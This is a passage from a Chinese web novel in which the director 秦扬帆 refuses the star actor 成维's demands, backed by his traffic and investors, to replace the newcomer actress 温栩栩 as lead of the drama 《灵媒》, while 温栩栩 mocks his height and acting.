她将“意见”二字咬得极重,尾音微微上扬,似一根银针悬在空气里。 包厢内的谈笑戛然而止,众人面面相觑,连秦扬帆手中的筷子都悬在了半空。 成维慢悠悠坐直身子,指尖在桌布上叩出轻响,眼底的轻蔑如毒液渗出:“我就是觉得温小姐不太适合唐颖这个角色。” 他刻意将“温小姐”三个字拖长,舌尖在齿间滚过,仿佛那称呼本身便是一种侮辱。 包厢内众人情绪多变,特别是秦扬帆导演,都怀疑自己是不是听错了。 成维说谁不适合唐颖这个角色? 说温栩栩不适合唐颖这个角色? 今天试戏的时候多少人就控制不住移不开目光,温栩栩连着陪着试戏,这还不够?还指望演的好到什么地步。 秦扬帆盯着成维看了几眼,正欲开口,温栩栩又笑了,笑眯眯的回怼。 温栩栩的眉峰微蹙,成维的挑衅像一块砸在她脚边的碎石,她清楚,若此时退让半步,便是将主动权拱手相让。 第1052章 折辱他 “巧了不是?”她忽然轻笑出声,笑意如刀刃般锋利。温栩栩支起下颌,目光在成维身上逡巡,从发顶到鞋尖,每一寸打量都裹挟着无声的审判。“我也觉得成维老师不适合游远这个角色呢。” 话音未落,成维的脸已涨成猪肝色。 温栩栩不紧不慢地列出罪状:“剧本中游远相貌精致俊美,带着冷感的俊秀,可您这身高……” 她刻意停顿,视线扫过成维勉强及格的腿长,“以后拍戏还得站在凳子上壁咚我,这画面光想想就滑稽。游远平静礼貌,遇事淡然,可您动不动就给情绪,分明是个炮仗——” “你!”成维猛地拍桌而起,椅腿与地面刮出刺耳声响。 温栩栩却似未见风暴将至,仍笑语晏晏:“还有那台词功底……成维老师可得当‘笨鸟先飞’的典范,否则哪天被整成‘饿死鸟’,可别怪我没提醒您。”她每吐一字,便似在成维心口扎一针,最后“饿死鸟”三字更是裹着蜜糖的毒箭,将嘲讽淬炼到极致。 包厢内霎时陷入死寂。 秦扬帆的筷子“啪嗒”落地,助理们屏息缩在角落,连服务生上菜的节奏都乱了。 成维的额角青筋暴起,他拍戏几年,从未有人敢当导演面如此折辱他! 温栩栩却悠然抿了口茶,热气氤氲在她睫毛上,模糊了她眼底的锋芒,只余一派天真模样。 成维怒极反笑,舌尖舔过犬齿:“温小姐倒是伶牙俐齿,可伶牙俐齿救不了烂演技。” 他试图扳回一局,却不知这话正中温栩栩下怀。 她忽地敛了笑,指尖叩在剧本扉页:“烂演技?成老师不妨看看游远的人设,看看是我演技烂还是成维老师你演技烂,一个演技只能在及格线徘徊的人……怎么好意思说我演技烂吗?你知不知道剧本里面有一段事怎么写游远的?” “‘他像一潭深水,表面波澜不惊,底下却蛰伏着吞没一切的暗流’。游远是这样的,可您刚才拍桌子的火气,倒是像极了隔壁剧组的暴躁武生。” 此言一出,秦扬帆瞳孔骤缩。 他想起试戏时成维总爱加戏,将游远的克制演成木讷,而温栩栩那句“淡淡”的点评,此刻竟是说清楚了重点。 成维的反驳愈发无力,温栩栩却继续补刀:“还有身高问题,游远需壁咚女主时气场全开,成老师踩着凳子……怕不是要演‘矮脚虎’?”她笑语盈盈,话却如钝刀割肉,字字见血。 “游远平静且礼貌,遇到任何事都是淡淡的,成维老师很容易会给到情绪,可那样就不是游远了,成维老师的腿不够长,看着身材有点五五分,成维老师台词真的很烂,建议成维老师多连连台词,都说笨鸟先飞,成维老师可一定要当先飞的笨鸟,而不是可能随时被饿死被整死的死鸟。” 温栩栩笑着说出这样攻击性大的话,几乎是完完全全对准了游远嘲讽的。 说他长得不好身材不够身高不够还蠢! 秦扬帆凝视着她,忽然觉出这姑娘绝非池中物,她看似轻飘飘的反击,实则每一句都扎在角色适配度的要害上,甚至暗含对成维演技的精准解剖。 温栩栩可是当着秦导的面儿说的这些,成维没听进去,但秦导好像是听进去了。 温栩栩觉得这人绝对就是活该了。 成维面色僵硬,此刻已经不知道自己能给什么反映了,只能僵硬的扯了扯唇角。 此刻是被温栩栩说蒙了,等回过神猛然响起来自己是当红男流量,可以用自己的热度逼着导演赶走温栩栩。 其实以前成维也这么干过的。 百试百灵,导演不换人他就不拍了。 不用脑子想都知道秦扬帆一定会选他的! 成维心里嘚瑟,还真的故意当着温栩栩的面说要换掉温栩栩。 成维冷笑:“秦导,有些话我就直说了,我厌恶温小姐,与她同台搭戏会让我生理不适。您若想用我,必须让温栩栩滚出剧组!”他刻意将“滚”字咬得极重,舌尖在齿间滚过,仿佛现在就希望温栩栩尽快滚出去。 温栩栩的睫毛在茶雾中轻颤,笑意却纹丝不动。 她端起茶杯的动作优雅如古人品茗,眼底却藏着暗火:“成老师这话说得有趣,仿佛剧组是您家开的戏院。”她语调轻柔,却将“家开的戏院”五字咬得极尖,暗讽成维的傲慢无礼。 成维的脸颊肌肉骤然绷紧,他端起红酒杯猛灌一口,猩红液体顺着喉结滑下,在领口染出一片暗渍。 “秦导最清楚我的价值!”他试图用流量施压,指尖在手机屏幕上划动,调出热搜榜单,“#成维新戏#的话题已经破亿,换掉我,这剧未拍先凉!”屏幕的光映在他眼底,恍若赌徒押注时的癫狂。 温栩栩却连眼皮都未抬,她将剧本翻至“唐颖”角色分析页,指尖点在“孤傲清冷”四字上:“巧了,成老师您这‘生理不适’的演技,倒挺适合演个被观众生理性反胃的角色。” 她开口的话专挑最痛的穴位扎,“流量不过是泡沫,您该庆幸《灵媒》的女主角是我,否则凭您那踩凳子的壁咚戏码,粉丝都得笑掉大牙。” 成维的酒杯“砰”地砸在桌沿,红酒溅湿桌布,晕染成一片血色污痕。 他涨红的脸活像被撕破的戏服:“温栩栩,你不过是个无名小卒,敢跟我叫板?” 他扯开领带,脖颈青筋暴起,仿佛困兽撕咬最后的尊严,他好像已经有点喝醉了,所以似乎有些失控。 “无名小卒?”温栩栩终于正眼相迎,眸底寒意骤起,“可您这‘当红流量’的演技,连我陪跑试戏时都能被秒成渣。秦导选我,是因为我能让自己在入戏后成维唐颖,成维《灵媒》的女主角,您呢?只能靠踩凳子演壁咚。” 她每吐一字,成维的面色便白一分。 “温栩栩你别在这里胡说!”成维的嘶吼如破锣,却无人应声。 第1053章 不屑于流量的游戏 包厢内的制片人低头刷手机,助理们假装摆弄餐具,秦扬帆的沉默更似一记闷雷,将他炸得头晕目眩。 温栩栩轻笑出声,笑意却如冰棱刺入成维耳膜:“成老师该不会真以为,全娱乐圈的导演都瞎了眼?您那‘炮仗脾气’演游远,分明是给角色喂毒药。” 她嘲讽:“退一万步讲,就算我被换掉,您那五五分的身材和烂台词,能扛得起《灵媒》的大男主?观众可不是来看您踩凳子的。” 成维的喉头哽住,他试图反击,却发现自己竟找不出词。温栩栩的每一句都精准戳中他的死穴:身高、演技、台词……她像一把手术刀,将他自以为是的铠甲剖得鲜血淋漓。 而他最擅长的“流量威胁”,在秦扬帆那句“女主角非她不可”面前,全都成了无用功。 不论发生什么事都只要温栩栩。 凭什么?为什么?温栩栩配? “秦导!”他最后孤注一掷,转向导演,“您真要为了她放弃我?”秦扬帆的茶已凉透,她却仍慢条斯理地啜饮一口:“成老师,您或许没看懂剧本,游远是个被灵魂啃噬的空壳,您那满溢的情绪,演个武生还差不多。” 他忽地拍板定音,“若您执意离组,我们剧组倒省了买热搜的钱。” 成维的瞳孔骤然收缩,他听见自己心底有什么轰然倒塌。 温栩栩仍笑得云淡风轻,仿佛看了一场无聊的猴戏。 成维还要为自己争取,他实在是不甘心。 “秦导,我的流量摆在这里的,你最清楚我能带给你多大的价值。” 他毫不顾忌的当着温栩栩的面儿做这些,温栩栩脸上的笑意却连变都没变,还是那副淡淡的模样,似乎是已经猜到了成维得不到他想要的答案。 秦扬帆不咸不淡的拒绝成维的请求。 “希望你可以清楚,因为有了温栩栩才会有现在的《灵媒》,《灵媒》的女主角一定会是温栩栩,除非温栩栩自己没兴趣不想拍了才能换人来演。” “如果你执意认为自己委屈厌恶温小姐,那我们就只能后退一步换掉你了。” 秦扬帆说的清楚明白。 反正剧组女主角一定是温栩栩,至于男主角,爱谁谁,主要的就是女主角。 成维都要被气笑了,如果不是他自己清楚自己是圈内的流量,他都要以为温栩栩才是那个流量,而他是木头人了。 “秦导,你该知道我在圈子里有多火,多少人求着我拍戏我都推拒了,我就想要拍秦导你的戏啊!” “秦导你真的清楚你现在说的是什么吗?温栩栩什么好处都不能带到给你,我不一样,你用我,我的粉丝都会疯狂抢票的!” 成维几乎要亮出自己的底牌了。 成维的嘴角抽搐着扯出一抹扭曲的笑,仿佛被戳破的气球漏出最后一声嘶鸣。 他挺起胸膛,指尖在虚空中划出夸张的弧度:“秦导,您该知道我在圈里是什么地位!”他的嗓音越来越高亢,像一根绷紧的琴弦,随时可能断裂。 包厢吊灯的光晕在他眼底跳动,映出癫狂的焰火。 温栩栩的茶盏在掌心转了个圈,热气熏得她睫毛微颤。 她偏头轻笑,声音轻得像一片落在成维耳畔的羽毛:“成老师这‘求而不得’的姿态,倒比踩凳子壁咚还精彩。” 她刻意将“踩凳子”三字加重语气,故意的一遍又一遍的提到踩凳子让他知道他有多矮。 事实上成维长得不错但身高确实不行,170厘米的样子,说不定还是穿了增高鞋垫。 所以他最不能听到有人提及身高相关的问题。 成维的喉头哽住,恨不能撕碎这云淡风轻的讥讽。 “秦导,我的粉丝能填满十个电影院!”成维终于亮出底牌,手机屏幕怼到秦扬帆眼前,荧光映得他眼眶发青,“#成维新戏官宣#的热搜能挂三天!您用我,票房稳了!” 他近乎哀求地压低声音,却仍带着威胁的尾调,“温栩栩能给什么?她能带来的流量连我脚趾头都比不上!” 秦扬帆的眉峰终于动了动,她缓缓搁下茶杯,瓷盏与桌面相触的轻响,竟比成维的嘶吼更震耳。 导演的视线扫过成维颤抖的指尖,落到他因激动而发红的脖颈:“成老师,流量是烟花,好看,但转瞬即逝。” 她忽地翻开剧本,指尖点在“游远”角色剖析页,“您演的游远,会像烟花‘砰’地炸开,然后只会给看客观众留下一地尴尬。” 成维的瞳孔骤缩,仿佛被冷水浇头的困兽。 他踉跄后退半步,椅腿刮过地面的声响刺耳如嘲笑。 温栩栩的轻笑又响起,这次带了三分怜悯:“成老师该不会真以为,观众是来看‘热搜烟花’的?” 她将剧本“啪”地合上,声音清脆如断弦,“游远是深潭,您演的是沸腾的油锅,溅出来的,只会是观众的吐槽。” 包厢内的气压降至冰点。 成维的额角渗出冷汗,他这才惊觉,自己那套“流量为王”的戏码,在秦扬帆这儿竟如纸糊的盔甲,一戳就破。 导演的沉默像一座山压在他胸口,温栩栩的嘲讽则如细针,不断往伤口里扎。 他想起那些年被流量裹挟的导演们卑躬屈膝的模样,为何到了这儿,一切都反了? 秦扬帆终于开口,声音冷淡:“成老师的情绪,确实比游远丰富多了。” 她摩挲着保温杯的金属壳,眼底泛起冷光,“若您执意认为流量能绑架创作,那这部剧……或许本就不该属于您。” 成维的呼吸凝滞了。 他望着导演平静的面容,忽然明白,温栩栩不是他的对手,秦扬帆才是。 这个曾捧红无数大腕的导演,根本不屑于流量的游戏。 秦扬帆看成维破防也只是轻微的皱了下眉,觉得成维情绪起伏太大了。 “所以到了现在,成维老师你确定还是要固执己见的逼我换掉温栩栩?” 事实上秦扬帆才是前辈,但现在喊了“成维老师”,明摆着像是嘲讽。 第1054章 温栩栩算是什么? 成维不觉得秦扬帆这就是代表拒绝完全没戏了。 因为娱乐圈的规矩他太懂了:资本、流量、人脉,这三张牌打出去,再硬的导演也得低头。 “秦导,您真的不考虑赵芳艺吗。”成唯将手机屏幕转向导演,热搜榜单上“赵芳艺演技”的词条赫然在目,数字后的“爆”字红得刺眼。 他压低声音,语气里带着诱哄的甜腻:“她可是圈里公认的实力派,粉丝基础扎实,商业价值爆表。您用她,就算有对赌协议都稳赢!”经纪人适时递来眼色,两人心照不宣地碰了碰杯,香槟气泡在玻璃杯壁上滋滋作响,仿佛胜利的欢呼。 两人此刻完全忘记了温栩栩也在这个包厢。 对他们来说,温栩栩确实就只是个小喽啰,根本不必被在意。 包厢吊灯投下的光斑在他眼底跳跃,成唯的思绪已飘向庆功宴的场景:热搜预定、粉丝尖叫、通稿漫天…… 温栩栩会被迅速淹没在话题洪流中,没人会在意一个被换下去的新人女演员。 他斜睨坐在角落的温栩栩,她仍捧着剧本,睫毛垂落的阴影像两把小刷子,扫在他心头愈发烦躁。 “镀金的小丫头,也配跟我争角色?”他暗自嗤笑,想起那些被她抢走风头的试戏场景,她站在镜头前,连空气都为她凝滞,而他却被衬得像个拙劣的配角。 这种屈辱,必须用赵芳艺的“一线光环”狠狠碾碎! 经纪人压低嗓音补刀:“秦导,赵芳艺最近档期空着呢。您要是点头,她那边立刻签合同,连宣发资源都打包送!” 这话戳中了娱乐圈的命脉,资源置换、人情账本、流量互绑,哪部戏不是在这些暗流中浮沉? 成唯甚至幻想到秦扬帆妥协后,自己与赵芳艺同框热搜的画面。 双顶流联手,话题度直接冲破云霄! 对嘛,赵芳艺这种女星才配跟自己合作啊,温栩栩算什么? 温栩栩翻剧本的动作突然一顿,成唯的得意瞬间暴涨。 他故意将酒杯举得更高,琥珀色液体在灯光下折射出毒蛇般的纹路:“秦导,赵芳艺的演技您也清楚,唐颖那种清冷角色,她拿捏得死死的。不像某些人……”他拖长尾音,恶意如毒针扎向温栩栩,“空有张脸,内里全是朽木。” 秦扬帆的眉头皱得更深了,成唯的心脏却跳得更快。 他几乎要按下手机录音键,待会儿把导演松口的对话卖给营销号,再炒一波“成唯力挽狂澜”的热搜。 包厢内的气压愈发低,成维眼神愈发灼热,现在只要秦导点头,温栩栩立刻滚蛋,而他不仅能卖赵芳艺人情,还能踩着这个“新人”上位。 娱乐圈的丛林法则,向来是强者撕碎弱者! “成老师。”秦扬帆终于开口,声音冰冷“您似乎忘了《灵媒》的核心。” 导演的手指叩在剧本扉页,“唐颖不是工具人,她是整部剧的灵魂。赵芳艺的演技确实好,但她太‘满’了——像盛开的牡丹,游远该配的是空谷幽兰。”秦扬帆转向温栩栩,目光如匠人凝视珍宝,“温小姐的‘未满’才是关键,她的眼神里有冰,有火,有破碎又重组的光,那是唐颖的魂。” 成唯愣愣地看着秦扬帆将温栩栩的试戏片段投屏,光影流转间,那个清冷如月的唐颖在镜头里复活。 她的台词不是最凌厉的,但每一句都像冰棱刺进人心,她的哭戏没有嚎啕,却让人在无声的震颤中窒息。 而成唯自己的试戏画面被剪辑对比,他的“游远”怒目圆睁,情绪溢满屏幕,活像一锅煮沸的油,溅得观众满身尴尬。 “及格与满分。”秦扬帆的判决如锤落下,“我选满分。” 成唯的酒杯“咔”地碎在掌心,红酒顺着伤口淌下,他却浑然不觉痛。 温栩栩始终未抬眸,但成唯分明听见她睫毛颤动的轻微颤动,这分明实在看不起自己,温栩栩就是在嘲笑自己! 秦扬帆导演已经说的很清楚了,她选择了温栩栩,而不是成唯。 哪怕成唯拿出赵芳艺,秦导也选择温栩栩。 若说最开始秦导觉得温栩栩是资本家的孩子,只是来自己这里镀金的,但当时秦扬帆看到温栩栩的相貌就觉得她只要演技不太拉胯那就不会换掉她。 因为娱乐圈能出演唐颖的女演员真的不多,漂亮到这种程度的没几个,就算有也没有温栩栩的档期多,其他几位档期都排满了。 而且剧本里面明确说明了,唐颖漂亮,剧本里面说不清她的年岁,却相貌年轻不过二八芳华,跟温栩栩的年龄差不多,巧的是温栩栩也经历过很多事,那种沧桑感也是完全可以演出来的。 所以在秦导看来,没有人比温栩栩更适合唐颖这个角色了。 《灵媒》这部剧最重要的角色本也是唐颖这个角色,如果没了唐颖,游远这个角色也就没有那么重要了。 更不要说经过试镜,秦扬帆导演亲眼看到温栩栩的台词演技,她觉得自己找不到比温栩栩更合适的女演员了。 所以宁愿不要成唯也一定要留下温栩栩。 她秦扬帆的戏,不缺男演员。 成唯来出演游远这个角色只能说是及格,所以她绝对不会换掉能拿满分的温栩栩。 成唯脸色越来越难看了,他觉得自己已经说的很清楚了,但秦导就是不给他面子。 可面对的是秦导,他也只能保持礼貌,继续毕恭毕敬的开口。 “秦导,您一定要用温栩栩吗? “温栩栩跟赵芳艺可是差很多的,就算温栩栩能演出唐颖的灵魂,可这不代表赵芳艺就不可以……” 说白了成唯就是看不上温栩栩的身份,在圈内只能算是新人,那就是要被她吸血,他不乐意。 赵芳艺呢,跟成唯是同公司的,他也想用这个角色给赵芳艺卖个人情,而且赵芳艺算是现在娱乐圈的一线女星,身份地位都在这里,如果能跟赵芳艺一起拍戏,被赵芳艺压范番那也认了。 那毕竟是赵芳艺。 可温栩栩算是什么? 配吗? 第1055章 真不考虑收视率? 秦扬帆皱眉,成唯却还当秦导在思考换掉温栩栩了,此刻内心得意。 经纪人也是这么认为的,两人都已经想好等会儿把温栩栩踢出剧组开一瓶香槟来庆祝了。 秦扬帆的语调骤然转冷,她的脊梁挺得笔直,几乎是在压抑怒火。 “听不懂人话?那我再说一遍?” 她直视成唯涨红的脸,眼底的锋芒几乎要将空气割裂。 “我说了,如果你不能选择跟温栩栩搭戏,那你可以离开,我不会换掉温栩栩,不会换掉的意思你能明白吗。” “如果无法与温栩栩合作,你可以立刻离开剧组。女主角只能是温栩栩,再无第二种可能!” 秦扬帆态度已经没那么好了,甚至觉得成唯耽误自己太多时间了。 成唯的喉头哽住了。 他原以为导演的“坚持”不过是虚张声势,资本与流量的威压下,哪有人不低头? 可此刻秦扬帆的眼神让他脊背发寒,那根本没有任何妥协的余地。 他想起圈内传闻,这位导演早年蛰伏时曾为角色跪求投资人三天三夜,如今功成名就,竟成了宁折票房和收视率也不折艺术的“疯子”。 成唯的掌心渗出冷汗,西装内衬黏在背上,像无数只湿冷的虫子在爬。 “秦导,您清楚赵芳艺的价值!”他试图攀住最后一根稻草,“她的粉丝能让热搜挂满一周!” 经纪人慌忙递上数据报表,纸张在颤抖的手中簌簌作响,数字列得密密麻麻。 秦扬帆连瞥都未瞥一眼,她将保温杯重重搁在桌面,瓷与金属的撞击声如惊雷:“我拍的是戏,不是数据!” “秦导,您真的知道您在做什么吗?您这么做投资人知道吗?”成维继续施压。 “赵芳艺可不是谁都能请的来的,那可是赵芳艺!” “赵芳艺和温栩栩放到一起,任谁都能知道应该选谁!” 成唯此刻确实有点激动了,完全不理解秦扬帆为什么会有这种想法。 “你要原因?”秦扬帆猛地翻开《灵媒》剧本,指尖点在“唐颖”的人物小传上,“这个角色需要冰与火交融的破碎感,赵芳艺的演技像涂了蜡的木头,看似光滑,但毫无灵魂!” “我在圈子里拍了十几年的戏了,早年我或许还能因为资本低头,因为那时候没混出来,但现在我有身份有地位,我只是想选我自己想要的演员,有那么难理解?” “这部剧,如果温栩栩相貌不过关我也是不会用的,可她相貌演技还有进入剧的状态就是我想要的唐颖,我不要她我要谁?” “至于赵芳艺,赵芳艺的粉丝太疯狂,且赵芳艺的粉丝吹的天花乱坠,可事实上赵芳艺的颜值在娱乐圈女星中实在排不上号,如果出演唐颖说她是剧中最漂亮的角色,让人见之难忘,你信吗?你能说服你自己吗?总不能说一个明艳的大美人你让我找一个平庸的小白花来出演。” “而且赵芳艺的粉丝太多,太疯狂,吹捧的让她自己都不清楚她自己到底几斤几两了,她的演技到底好不好,你们心里没数吗?” “赵芳艺最多也就拍一拍偶像剧了,且只有暴发力度高的剧拍的还可以,像是悲情的,大喊的,痛苦的,像平淡一些的她是演不出来的,就算演出来也只是在及格线。” “你告诉我,像赵芳艺这种容貌寡淡演技一般且年龄与唐颖有出入的女星,怎么出演这个角色?她是不嗯那个说服观众的。” 成唯的瞳孔骤然收缩。 他听见导演将赵芳艺的演技贬得一文不值,那些他曾用来当筹码的“天花乱坠”的评价,此刻成了秦扬帆口中的“粉丝滤镜”。 更刺耳的是那句“容貌寡淡”。 娱乐圈的潜规则里,颜值即正义,赵芳艺的团队花了多少钱营销“神颜”,竟被导演一句“平庸”撕得粉碎。 他的自尊在秦扬帆的犀利剖析下溃不成军,仿佛被扒光了站在聚光灯下。 “温栩栩不一样。”秦扬帆的声音突然柔软下来,她望向温栩栩的侧影,目光如匠人凝视未雕琢的璞玉,“她的美是带血的,是风雪里开出的红梅。试戏那天,她念‘唐颖在雪夜里独行’那场戏,我分明看见角色从她骨髓里爬出来了。” 她忽地轻笑,笑意里藏着锋芒,“成老师,您演的游远像一锅沸油,而她演的唐颖是能让沸油瞬间凝成冰的寒潭。您觉得,我该选谁?” 成唯的唇瓣开始哆嗦。 他原以为温栩栩只是资本塞进来的镀金工具,却忘了秦导不是能任人摆布的人。 那些被她抢走风头的试戏片段、她站在镜头前让人屏息的静默,原来早被秦扬帆看在眼里。 他的流量筹码、人脉算计,在真正的艺术判断前,不过是泡沫。 “您……您真不考虑收视率?”成唯最后的挣扎如秋日枯叶,飘摇无根。 秦扬帆的眉峰挑起,眼底泛起冷冽的光:“收视率?《灵媒》要是用错了女主角,口碑崩了,还能有什么收视率?赵芳艺之前出演的那部《山山河战记》大IP不是也扑了?多少人说她相貌不好还一定要出演第一美女你忘了?”她淡淡道,“成老师,您该清楚,真正的导演,宁折流量也要护住戏魂。赵芳艺的流量能烧三天,温栩栩的演技却能让我这戏活十年!” “我用温栩栩必然是有我的考量,希望你心里能清楚。” “我也希望你能尊重我,我才是能够选择角色的导演。” 秦扬帆说的太清楚了,成唯就是个傻子也能听懂了。 成唯唇瓣哆嗦,他明白秦扬帆的坚持了。 这是导演的坚持。 成唯的呼吸凝滞了。 西装革履的秦扬帆此刻像一座不可撼动的山,而他自己成了山脚下可笑的小石子。 那些曾百试百灵的施压手段,那些以为能掌控局面的优越感,在真正的艺术坚守前碎成齑粉。 温栩栩仍坐在角落,剧本遮住了她的表情,但成唯分明感觉到她垂落的睫毛下藏着无声的嘲讽,像一根银针,精准扎进他溃烂的伤口。 第1056章 不如体面退出 包厢内的吊灯依旧明亮,成唯却坠入深渊。 成唯知道自己没有办法继续从导演这边下手了,只能说…换个人了。 那投资人呢? 投资人愿意用温栩栩吗? 如果投资人正常的话,赵芳艺和温栩栩,肯定知道该选谁的。 成维又笑了,倒是觉得抓住导演把柄似的。 “导演,我说这些也不是因为我自己,主要是也为了导演你考虑,您这边喜欢温栩栩我是明白的,但是投资人那边也会在赵芳艺和温栩栩之间选择温栩栩吗?” “赵芳艺的流量热度摆在这里呢,投资人都是聪明人,如果知道导演你在赵芳艺和温栩栩之间选了温栩栩,以后怕是会怪罪导演。” “我觉得吧……温小姐也该聪明点主动退出剧组,总不能因为她自己让导演你得罪投资人。” 成维说的冠冕堂皇的,不知道的还真当他为导演考虑了。 温栩栩都要被这话逗笑了。 她其实觉得这成维挺像个乐子人的,明摆着就是瞧不上她的身份,可最初《灵媒》男主游远的角色也 没求着他来出演,是他自己瞧上了这个角色,又瞧上了剧组的配置,冲着秦导来的。 结果来了后看到女主角是她就不乐意了。 这种人的心思温栩栩多少也是想得明白的,说白了就是觉得她是新人,没热度,认为她吸了成维的血,所以想换了她。 这又是游说导演就是提起投资人的,就差没直接表明瞧不上她了。 至于那赵芳艺她也是知道的,当红女小花,还跟成维是同一个公司的,成维这么搞无非是想卖个人情给赵芳艺,让赵芳艺记住他的好。 真有意思啊这人,心眼子这么多,还说的为导演好一样。 温栩栩面上还是带着笑,表情仍然是淡淡的,她也不说别的什么,就只是笑,一副她没权利谈论这些事情的模样。 成维更得意了,更是把温栩栩当成能够随意换掉的小咖了。 成唯的嘴角再次勾起,这次的笑带着毒蛇吐信的阴狠。 他慢条斯理地抚平西装袖口的褶皱,指尖在布料上划出轻佻的弧度,仿佛抚摸着猎物的脖颈。 “导演,您坚持用温小姐是您的自由,但投资人那边——”他故意拖长尾音,包厢内的空气骤然凝滞,吊灯的光晕仿佛都在他眼底折射出算计的光,“您觉得他们会在数据和艺术之间选哪个?” 经纪人立刻会意,从公文包中抽出一沓文件,“啪”地甩在桌面上。 纸张散开的刹那,密密麻麻的流量数据、粉丝画像图表、商业评估报告如雪崩般倾泻而出。 成唯斜倚在沙发扶手,姿态慵懒却暗藏胁迫:“赵芳艺的带货转化率是行业TOP3,粉丝氪金能力更是断层领先。温小姐呢?” 他嗤笑一声,刻意将“新人”二字咬得极重,“她的商业价值表上,恐怕连基础线都够不着吧?或者说,娱乐圈内根本没有人知道温栩栩是谁。” 温栩栩的手指仍停留在剧本某页,睫毛在光影交错中投下细密的阴影。 成唯这样故意挑衅,温栩栩却连眼皮都未抬,只是眸光淡淡的喝了口水。 这沉默让成唯愈发笃定,她果然是个毫无根基的纸老虎,只需轻轻一戳便会溃散。 他的得意如发酵的酸酒,在胸腔里翻涌:“导演,您该明白,投资人投的是钱,不是情怀。若因选角导致资金链断裂,这责任您担得起吗?” 秦扬帆的眉头终于蹙起,成唯捕捉到这丝裂隙,立刻将筹码堆得更高:“若您执意用温小姐,我可以‘劝说’赵芳艺团队施压,她的粉丝可是出了名的战斗力爆表,届时剧组官博被爆破、开机仪式被围堵…这戏还拍得成吗?” 他刻意停顿,享受导演脸色渐沉的快感。 “至于温小姐——”成唯转向温栩栩,语气陡然转冷,像冰锥刺向猎物,“聪明人该知道什么时候该退场。与其让导演为难,不如体面退出,对吧?” 他轻笑出声,笑声里藏着锋利的刃,剜向温栩栩平静的面容。 经纪人适时附和:“温小姐年轻,机会还多。但秦导的戏一旦被资本封杀…那可就是永久污点了。” 包厢内的气压降至冰点,服务生端着甜点上前的动作都变得僵硬。 成唯斜倚在沙发上,欣赏着温栩栩沉默的“败相”,仿佛已看见热搜标题:“新人温栩栩遭资本碾压,惨淡退组!” 他的指尖在文件上敲击,节奏如胜利者的鼓点,经纪人甚至开始盘算如何将此事卖给媒体,炒出“成唯护剧组”的热搜。 温栩栩终于缓缓抬眼,笑意如春冰初融,却冷得彻骨:“成老师似乎忘了,剧组开机在即,临时换角违约成本可不低。” 成唯的笑意僵了瞬,随即冷笑:“违约金?赵芳艺团队愿意全额承担,只要您肯让位。” 他笃定温栩栩没资本撑腰,这不过是虚张声势的最后一击。 “是吗?”温栩栩忽地轻笑,她将剧本合上,动作很轻,“那不如我们赌赌,若投资人真因我撤资,我自愿退出。但若他们支持导演,成老师是否也该体面退场?” 她直视成唯,目光如淬火的剑,刺破他所有伪装,“毕竟,游远这个角色,你演的也只是刚好在及格线不是吗?” 成唯的瞳孔骤然收缩。 秦扬帆的嘴角终于浮现笑意,秦扬帆开口道,“温小姐说得对,成老师,若真走到那步,违约的可是您,毕竟合同里可没写‘必须搭配流量女主’。” 成唯僵在沙发上的身影突然显得可笑,西装的光泽衬得他像个镀金的空壳。 温栩栩仍保持着淡笑,睫毛垂落如幕,遮住了所有胜负的锋芒。 成唯这才惊觉,自己从始至终都低估了这个“新人”。 成唯脸色越来越难看:“这赌约并没有多少意思,我想,投资人还是更想要用赵芳艺的,秦导,您应该明白我的意思。” 这又是在威胁秦扬帆了。 他觉得赵芳艺身份摆在这里,只要不是傻子都会做出正确的选择。 赵芳艺和温栩栩,闭着眼睛都知道要如何选择了。 第1057章 被对方的相貌折服 秦扬帆是傻子吗? 自然不是。 她在这圈子里拍了这么些年戏了,什么牛鬼神蛇没见过?成维这手段还嫩了点。 “你的意思是我不换掉温栩栩你就要去联系投资人?” 秦扬帆开口询问,问的还特别直接,根本没给成维一点面子。 成维干笑一声:“秦导我不是这个意思,我就是担心投资人后期知道这件事对秦导你的影响不好,不知道的还以为是导演您有私心呢,我这一切都是为了导演着想啊。” 成维说的话,秦扬帆是一个字儿都不信。 成维这人满脸都透着狡诈虚伪。 只一眼就能把成维这人看透了。 秦扬帆垂眸,自顾自的倒了杯茶水喝了口水。 “你说这么多,不如直接说你在威胁我。” 秦扬帆看着成唯,一字一顿:“你在威胁我,如果我不换掉温栩栩,你就要告诉投资人我自作主张弃用赵芳艺,对吗。” 成唯脸上冷汗都出来了。 他觉得的大家都是成年人,且秦导也是圈子里面的老油条了,怎么秦导说话还这么直接,直接到他自己都手忙脚乱,一时不知道该怎么接这话。 好在秦导开口:“你有没有想过,现在资本威胁不到我,如果资本真的逼我,我大可以离开,这个组可以换其他导演来。” 秦导说到这里眼底都带着讥讽。 秦扬帆的唇角勾起一抹讥诮的弧度,眼底的锋芒如刀刃刮过成唯虚伪的面具。 她不再端坐,而是斜倚在座位上,指尖漫不经心地摩挲着杯壁,动作慵懒却暗藏威压。 “成老师,您这弯弯绕绕的戏码,在我这儿可不够看。”她的声线裹着寒意,“你当我是刚入行的愣头青?” 秦扬帆忽地轻笑,笑声里藏着二十年圈里沉浮的底气:“我在泥地里滚的时候,您还在艺考培训班背台词呢。资本威胁?早十年前我就被投资人摁在地上改剧本,可后来呢?” 她猛地将杯子砸在桌面,瓷与金属的撞击声如惊雷,“我秦扬帆的戏,从来只认角色不认钱!” 成唯的冷汗顺着脊背滑落,西装内衬黏在皮肤上,像无数条毒蛇在啃噬。 他试图稳住阵脚,却听见秦扬帆的声线愈发冷冽:“你以为投资人真会在赵芳艺和温栩栩之间选谁?天真!” 她倏然翻开《灵媒》的剧本,指尖点在“唐颖”的人物小传上,“唐颖是剧魂,是这戏的心脏。温栩栩的表演能让这心脏跳起来,赵芳艺呢?她能演木头美人,但演不出唐颖的破碎与妖冶!”她掷地有声的宣判让成唯的辩解溃散成沙,“您那‘为剧组好’的鬼话,连三岁小孩都骗不过!” 温栩栩仍垂眸坐在角落,剧本遮住了她大半面容,却挡不住秦扬帆护犊般的炽烈。 导演的每句嘲讽都像重锤,砸碎成唯精心搭建的筹码堆。 成唯的唇瓣开始哆嗦,经纪人慌忙递纸巾的手被他一把推开,纸张散落在地,像他溃败的尊严。 “秦导,您这是何必呢?”成唯试图攀住最后一根稻草。 “赵芳艺的流量能有多厉害?”秦扬帆忽地嗤笑,“用错主角的戏,流量救不回来,烂戏就是烂戏,没人喜欢看烂戏。” 成唯的呼吸凝滞了。 他望着导演眼底的炽火,那火焰里烧的是对艺术的偏执,是对温栩栩的笃信。 “你来这个节目组,无非是冲着我和我组织的班底来的,成唯你当我不懂?” 